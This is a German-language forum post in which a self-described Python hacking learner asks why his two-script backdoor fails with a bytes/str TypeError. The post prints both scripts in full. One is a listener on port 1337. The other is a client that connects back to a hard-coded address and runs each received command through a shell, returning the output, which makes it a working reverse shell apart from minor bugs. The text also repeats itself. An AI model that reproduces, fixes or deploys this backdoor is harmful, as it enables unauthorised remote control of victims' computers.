Python Backdoor funktioniert nicht
Verfasst: Freitag 9. Oktober 2020, 08:47
Hallo zusammen,
ich habe mich in letzter Zeit ein wenig mit Python Hacking beschäftigt und habe versucht eine Backdoor zu schreiben mit zwei scripts:
1. Backdoor-Sender:
2. Backdoor:
Ich führe immer erst denn Backdoor-Sender aus und danach die Backdoor, danach werde ich in der Backdoor-Sender Ausgabe benachrichtig das die Verbindung zu meinem Computer hergestellt ist und das alles läuft. Danach kann ich einen Command eingeben jedoch bekomme ich dann ein Fehlermeldung:
Traceback (most recent call last):
File "/Users/antonwiederhold/Desktop/Python_Hacking/backdoor/backdoor sender.py", line 20, in <module>
connection.send(bytes.decode(cmd))
TypeError: descriptor 'decode' requires a 'bytes' object but received a 'str'
Ich verstehe zwar die Fehlermeldung jedoch kann ich sie leider nicht umsetzen.
Vielen Dank schonmal
Antonio
ich habe mich in letzter Zeit ein wenig mit Python Hacking beschäftigt und habe versucht eine Backdoor zu schreiben mit zwei scripts:
1. Backdoor-Sender:
Code: Alles auswählen
import socket
host = ''
port = 1337
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(3)
connection, addr = s.accept()
print ("Connection established to " + str(addr[0]))
data = connection.recv(256)
print(bytes.decode(data))
while True:
cmd = input("Command: ")
connection.send(bytes.decode(cmd).strip())
data = connection.recv(256)
print(data)
Code: Alles auswählen
import socket
import subprocess
host = '192.168.10.103'
port = 1337
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(str.encode("Backdoor running."))
while True:
data = s.recv(256)
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,
stdin=subprocess.PIPE, stderr=subprocess.PIPE)
stdout = proc.stderr.read()
s.send(stdout)
Traceback (most recent call last):
File "/Users/antonwiederhold/Desktop/Python_Hacking/backdoor/backdoor sender.py", line 20, in <module>
connection.send(bytes.decode(cmd))
TypeError: descriptor 'decode' requires a 'bytes' object but received a 'str'
Ich verstehe zwar die Fehlermeldung jedoch kann ich sie leider nicht umsetzen.
Vielen Dank schonmal
Antonio
